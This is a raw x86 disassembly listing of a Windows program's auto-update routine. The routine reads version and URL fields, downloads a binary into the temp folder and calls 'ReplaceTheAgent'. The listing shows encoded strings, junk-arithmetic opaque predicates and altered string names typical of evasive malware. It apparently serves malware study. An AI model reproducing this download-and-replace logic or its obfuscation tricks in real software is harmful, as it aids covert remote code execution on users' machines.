mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x34
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419ab9
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x368]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419adc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x398]
mov byte [ebp - 4], 0x2b
call fcn.004388f0
lea ecx, [ebp - 0x2a8]
call fcn.0041af50
cmp dword [ebp - 0x224], 0x10
jb 0x419b0d
push dword [ebp - 0x238]
call fcn.004b009b
add esp, 4
mov eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x32c]
mov dword [ebp - 0x224], 0xf
mov dword [ebp - 0x228], 0
mov byte [ebp - 0x238], 0
cmp eax, ecx
je 0x41928b
push eax
call fcn.004b129b
add esp, 4
jmp 0x41928b
push 0x52fb94
call fcn.00404310
lea edx, [ebp - 0x334]
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x37
call fcn.00427960
mov byte [ebp - 4], 0x38
push dword [eax]
lea ecx, [ebp - 0x340]
call fcn.0041c760
push ecx
mov byte [ebp - 4], 0x39
push dword [eax]
lea ecx, [ebp - 0x398]
call fcn.004391a0
cmp byte [eax + 8], 4
mov byte [ebp - 4], 0x38
mov edx, dword [ebp - 0x340]
setne byte [ebp - 0x375]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419bba
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x37
mov edx, dword [ebp - 0x354]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419bdd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419c00
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp - 0x375], 0
je 0x419d8f
push str.error_update_from_ver_ion_not__tring
lea ecx, [ebp - 0x33c]
call fcn.00404310
push 0x52fbd0
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x3a
call fcn.00402020
mov byte [ebp - 4], 0x3b
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x340], edi
mov byte [ebp - 4], 0x3c
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x354], esi
lea eax, [ebp - 0x340]
push eax
lea edx, [ebp - 0x354]
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x3d
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x3e
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x3f
mov ecx, dword [ecx + 4]
push eax
call fcn.004020f0
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x419cdd
push 2
push dword [ebp - 0x368]
lea edx, [ebp - 0x334]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x3e
mov edx, dword [ebp - 0x384]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419d00
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x3d
mov edx, dword [ebp - 0x338]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419d23
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x3c
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419d40
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0x3b
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419d5d
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419d80
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x33c]
jmp 0x419ac3
push str._L_update_low_ver
lea ecx, [ebp - 0x334]
call fcn.00404310
lea edx, [ebp - 0x334]
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x40
call fcn.00427960
mov byte [ebp - 4], 0x41
push dword [eax]
lea ecx, [ebp - 0x340]
call fcn.0041c760
push ecx
mov byte [ebp - 4], 0x42
push dword [eax]
lea ecx, [ebp - 0x398]
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x37c]
call fcn.00404310
mov byte [ebp - 4], 0x44
mov edx, dword [ebp - 0x340]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419e07
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x354]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419e2a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x46
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419e4d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x37c]
cmp dword [eax - 0xc], 0
jne 0x41a06f
push str.error_strFromVer_ion_empty
lea ecx, [ebp - 0x338]
call fcn.00404310
push 0x52fc28
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x47
call fcn.00402020
mov byte [ebp - 4], 0x48
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x368], edi
mov byte [ebp - 4], 0x49
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x384], esi
lea eax, [ebp - 0x368]
push eax
lea edx, [ebp - 0x384]
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x4a
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x338]
push ecx
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x4b
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x344], eax
mov ecx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x4c
mov ecx, dword [ecx + 4]
push eax
call fcn.004020f0
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x419f2d
push 2
push dword [ebp - 0x344]
lea edx, [ebp - 0x33c]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x4b
mov edx, dword [ebp - 0x358]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419f50
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x4a
mov edx, dword [ebp - 0x348]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419f73
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x49
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419f90
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0x48
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419fad
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x47
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x419fce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x46
call fcn.004020d0
mov edx, dword [0x55e860]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 0xf
jne 0x41a01d
push 4
call fcn.004b0975
add esp, 4
mov esi, eax
call fcn.004b0a92
push esi
mov dword [esi], eax
mov dword [0x55e860], eax
call fcn.004b009b
add esp, 4
lea ecx, [ebp - 0x37c]
call fcn.004020d0
lea ecx, [ebp - 0x398]
mov byte [ebp - 4], 0x2b
call fcn.004388f0
lea ecx, [ebp - 0x2a8]
call fcn.0041af50
lea ecx, [ebp - 0x238]
call fcn.004012d0
mov eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x32c]
cmp eax, ecx
je 0x41a1a2
push eax
call fcn.004b129b
add esp, 4
jmp 0x41a1a2
push ecx
push 0x52fc50
lea ecx, [ebp - 0x398]
call fcn.004391a0
cmp byte [eax + 8], 4
je 0x41a1df
push str.error_upd_te_to_version_not_string
lea ecx, [ebp - 0x33c]
call fcn.00404310
push 0x52fc84
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x4d
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x344]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x50
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x51
call fcn.00421a70
add esp, 4
mov esi, eax
mov ebx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x52
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a125
push 2
push esi
lea eax, [ebp - 0x338]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x368]
call fcn.004020d0
lea ecx, [ebp - 0x338]
call fcn.004020d0
lea ecx, [ebp - 0x33c]
call fcn.004020d0
lea ecx, [ebp - 0x37c]
call fcn.004020d0
lea ecx, [ebp - 0x398]
mov byte [ebp - 4], 0x2b
call fcn.004388f0
lea ecx, [ebp - 0x2a8]
call fcn.0041af50
lea ecx, [ebp - 0x238]
call fcn.004012d0
lea ecx, [ebp - 0x330]
call fcn.0041cd10
lea ecx, [ebp - 0x364]
call fcn.004020d0
lea ecx, [ebp - 0x36c]
call fcn.004020d0
lea ecx, [ebp - 0x370]
call fcn.004020d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004b00a0
mov esp, ebp
pop ebp
ret
push ecx
push str.update_high_ver
lea ecx, [ebp - 0x398]
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x35c]
call fcn.00404310
mov byte [ebp - 4], 0x53
mov eax, dword [ebp - 0x35c]
cmp dword [eax - 0xc], 0
jne 0x41a34d
mov esi, dword [0x55e860]
mov ecx, 0x12
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 0x10
jne 0x41a265
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x63]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004aeef0
add esp, 4
push eax
call fcn.004b08fb
add esp, 4
push str.error_strToVer_ion_empty
lea ecx, [ebp - 0x334]
call fcn.00404310
push 0x52fcd8
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x54
call fcn.00402020
lea ecx, [ebp - 0x340]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x344]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x57
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x334]
push ecx
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x58
call fcn.00421a70
add esp, 4
mov esi, eax
mov ebx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x59
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a300
push 2
push esi
lea eax, [ebp - 0x338]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x338]
call fcn.004020d0
lea ecx, [ebp - 0x334]
call fcn.004020d0
lea ecx, [ebp - 0x35c]
jmp 0x41a162
push 0x52fd00
lea ecx, [ebp - 0x338]
call fcn.00404310
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x5a
call fcn.00427960
mov byte [ebp - 4], 0x5b
push dword [eax]
lea ecx, [ebp - 0x348]
call fcn.0041c760
push ecx
mov byte [ebp - 4], 0x5c
push dword [eax]
lea ecx, [ebp - 0x398]
call fcn.004391a0
cmp byte [eax + 8], 4
lea ecx, [ebp - 0x348]
setne bl
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x53
call fcn.004020d0
test bl, bl
je 0x41a506
push str.error_ur1_not__tring
lea ecx, [ebp - 0x334]
call fcn.00404310
push 0x52fd2c
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x5d
call fcn.00402020
lea ecx, [ebp - 0x340]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x344]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x60
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x334]
push ecx
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x61
call fcn.00421a70
add esp, 4
mov esi, eax
mov ebx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x62
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a464
push 2
push esi
lea eax, [ebp - 0x338]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x338]
call fcn.004020d0
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x53
call fcn.004020d0
mov ecx, dword [0x55e860]
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0xb
idiv ecx
cmp edx, 4
jne 0x41ac53
push 0x28
call fcn.004aeef0
add esp, 4
mov edi, eax
xor esi, esi
call fcn.004b0a92
add eax, dword [0x55e860]
inc esi
mov dword [edi + esi*4 - 4], eax
cmp esi, 0xa
jl 0x41a4d5
mov eax, dword [edi + 0x24]
push edi
mov dword [0x55e860], eax
call fcn.004b08fb
add esp, 4
lea ecx, [ebp - 0x35c]
jmp 0x41a162
push str._L_download_url
lea ecx, [ebp - 0x338]
call fcn.00404310
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x63
call fcn.00427960
mov byte [ebp - 4], 0x64
push dword [eax]
lea ecx, [ebp - 0x348]
call fcn.0041c760
push ecx
mov byte [ebp - 4], 0x65
push dword [eax]
lea ecx, [ebp - 0x398]
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x374]
call fcn.00404310
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x69
call fcn.004020d0
mov eax, dword [ebp - 0x374]
cmp dword [eax - 0xc], 0
jne 0x41a66d
push str.error_ur1_empty
lea ecx, [ebp - 0x33c]
call fcn.00404310
push 0x52fd78
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x6a
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x354]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x6d
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x6e
call fcn.00421a70
add esp, 4
mov esi, eax
mov ebx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x6f
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a62b
push 2
push esi
lea eax, [ebp - 0x334]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x354]
call fcn.004020d0
lea ecx, [ebp - 0x368]
call fcn.004020d0
lea ecx, [ebp - 0x334]
call fcn.004020d0
lea ecx, [ebp - 0x33c]
jmp 0x41ac43
push ecx
lea eax, [ebp - 0x35c]
mov ecx, esp
mov dword [ebp - 0x344], esp
push eax
call fcn.004042f0
push ecx
lea eax, [ebp - 0x37c]
mov ecx, esp
push eax
mov byte [ebp - 4], 0x70
call fcn.004042f0
mov ebx, dword [ebp - 0x360]
mov ecx, ebx
mov byte [ebp - 4], 0x69
call fcn.0041aff0
test al, al
jne 0x41a731
push str.no_need_for_update
lea ecx, [ebp - 0x33c]
call fcn.00404310
push 0x52fdb4
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x71
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x354]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x74
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x75
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 0x76
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a62b
push 0
push eax
jmp 0x41a61b
mov edx, 0x52fddc
lea ecx, [ebp - 0x374]
call fcn.0041cbd0
test al, al
jne 0x41ac68
mov edx, 0x52fde4
lea ecx, [ebp - 0x374]
call fcn.0041cbd0
test al, al
jne 0x41ac68
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.004b4d70
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x41a8de
push str.error_GetTempPath:
lea ecx, [ebp - 0x33c]
call fcn.00404310
push str.CheckAutoUpd_teUrl
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x80
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x354]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x83
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x84
call fcn.00421a70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x85
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41a82e
push 2
push esi
lea eax, [ebp - 0x334]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x354]
call fcn.004020d0
lea ecx, [ebp - 0x368]
call fcn.004020d0
lea ecx, [ebp - 0x334]
call fcn.004020d0
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x69
call fcn.004020d0
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1d9fbeacafbf3eeceffeaf6c1
call fcn.00402020
lea ecx, [ebp - 0x354]
call fcn.00428e50
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x340]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x87
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 0x88
push eax
mov ecx, ebx
call fcn.00417160
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x354]
jmp 0x41ac43
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x34c]
call fcn.00402020
mov byte [ebp - 4], 0x89
mov eax, dword [ebp - 0x34c]
mov eax, dword [eax - 0xc]
dec eax
js 0x41ac5e
push eax
lea ecx, [ebp - 0x34c]
call fcn.00410dd0
movzx eax, ax
cmp eax, 0x5c
je 0x41a96c
push str._L__
lea ecx, [ebp - 0x338]
call fcn.00402020
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x8a
call fcn.00427960
mov byte [ebp - 4], 0x8b
mov eax, dword [eax]
lea ecx, [ebp - 0x34c]
push dword [eax - 0xc]
push eax
call fcn.00411e80
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x89
call fcn.004020d0
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x350]
call fcn.004042f0
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x8c
call fcn.00426eb0
mov byte [ebp - 4], 0x8d
mov eax, dword [eax]
lea ecx, [ebp - 0x34c]
push dword [eax - 0xc]
push eax
call fcn.00411e80
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x8c
call fcn.004020d0
mov edx, dword [0x55e860]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0xf
idiv ecx
cmp edx, 0xe
jne 0x41a9f0
lea eax, [ecx + 0x68]
mov esi, 0x8c
test esi, esi
je 0x41a9e9
cdq
idiv esi
mov ecx, esi
mov eax, ecx
mov esi, edx
test ecx, ecx
jne 0x41a9d8
add eax, esi
mov dword [0x55e860], eax
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x374]
call fcn.0042d530
lea ecx, [ebp - 0x334]
test al, al
jne 0x41ab53
push str.error_HttpTo8inaryFileRequest
call fcn.00404310
push str.CheckAutoUpdateUr1
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x8e
call fcn.00402020
lea ecx, [ebp - 0x340]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x344]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x91
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x334]
push ecx
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x92
call fcn.00421a70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x93
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41aa9e
push 2
push esi
lea eax, [ebp - 0x338]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x338]
call fcn.004020d0
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x8c
call fcn.004020d0
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1d6eaeaeecaf1dcf7f0ffece7d8f7f2fbccfbefebfbedea
call fcn.00402020
lea ecx, [ebp - 0x344]
call fcn.00428e50
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x358]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x95
call fcn.00421a70
add esp, 4
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x96
call fcn.00417160
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
jmp 0x41ac32
push str.c_ll_Rep1aceTheAgent
call fcn.00404310
push str.CheckAutoUpdateUrl
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x97
call fcn.00402020
lea ecx, [ebp - 0x340]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x344]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x9a
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x334]
push ecx
mov edx, eax
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x9b
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 0x9c
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41abd7
push 0
push eax
lea eax, [ebp - 0x338]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x348]
call fcn.004020d0
lea ecx, [ebp - 0x358]
call fcn.004020d0
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x338]
call fcn.004020d0
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x8c
call fcn.004020d0
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x34c]
push eax
mov ecx, ebx
call fcn.0041b630
lea ecx, [ebp - 0x350]
call fcn.004020d0
lea ecx, [ebp - 0x34c]
call fcn.004020d0
lea ecx, [ebp - 0x374]
call fcn.004020d0
lea ecx, [ebp - 0x35c]
jmp 0x41a162
push 0x80070057
call fcn.00401840
call fcn.00413a90
test al, al
jne 0x41acd0
movd xmm4, dword [0x55e860]
movsd xmm3, qword [0x53f9d8]
movsd xmm6, qword [0x53fa00]
movsd xmm5, qword [0x53f9d0]
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
jmp 0x41aca0
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x41acba
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x41aca0
push str.error_ur1_NA_update_needed
lea ecx, [ebp - 0x33c]
call fcn.00404310
push 0x52fe08
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x77
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00402000
mov esi, eax
lea ecx, [ebp - 0x354]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x7a
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x33c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x7b
call fcn.00421a70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x7c
mov ecx, dword [ebx + 4]
push esi
call fcn.004020f0
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x41ad65
push 2
push esi
lea eax, [ebp - 0x334]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
lea ecx, [ebp - 0x344]
call fcn.004020d0
lea ecx, [ebp - 0x340]
call fcn.004020d0
lea ecx, [ebp - 0x354]
